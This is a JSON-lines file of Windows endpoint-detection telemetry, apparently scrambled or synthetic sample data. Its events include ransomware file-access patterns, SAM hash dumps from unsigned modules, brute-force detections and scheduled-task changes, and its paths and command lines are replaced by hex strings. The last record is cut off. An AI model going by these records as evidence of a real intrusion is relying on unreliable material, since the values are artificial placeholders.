+{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"} +{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"} +{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"} +{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} +{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"} +{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} +{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"} +{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"} +{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n \r\n FSSB0930$\r\n \\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe\r\n /checkin\r\n \r\n \r\n","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 